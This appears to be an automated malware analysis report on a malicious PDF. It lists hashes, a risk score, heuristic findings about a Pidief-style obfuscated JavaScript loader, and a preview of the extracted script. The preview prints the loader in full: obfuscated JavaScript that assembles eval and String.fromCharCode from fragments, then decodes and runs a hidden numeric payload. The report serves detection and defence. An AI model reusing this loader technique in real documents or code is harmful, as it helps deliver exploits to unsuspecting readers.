Malicious PDF — malware analysis report

Static analysis result for SHA-256 f87a293284913c26…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2026-05-08
MD5: 685f623ec976a51da674061ac6b4fcaa SHA-1: a826a7df3a25c74ed965d754bfd4d21f1893b64b SHA-256: f87a293284913c26cc8c0d6286cdb7427ae3d8d8ffd389107e977f464ce767e0
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0CB 411 bytes
SHA-256: b7aad9d346defbfbb0d12af65b92184dc8711914bfe41ea622f50523fcd6a6bf
Preview script
First 1,000 lines of the extracted script
scitx='';
v=producer;
qwe = v[v];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
s=a[0]+b+a[1]+'l';
e=(t,qwe)()[s];
dtm=e('ti'+'tle');
s=dtm.substr(t.length + 8,3)+'str';
q=dtm[s](1,t.length + 7);
lfma=e(v[0].toUpperCase()+'tring.fro'+q);
q=dtm[s](t.length+12)[subject]('c');
k=q.length;
for (i = 0; i != k; i+=2) {
	jdf = parseInt(q[i]) + parseInt(q[i+1]);
	scitx += lfma(jdf);
}
e(scitx);

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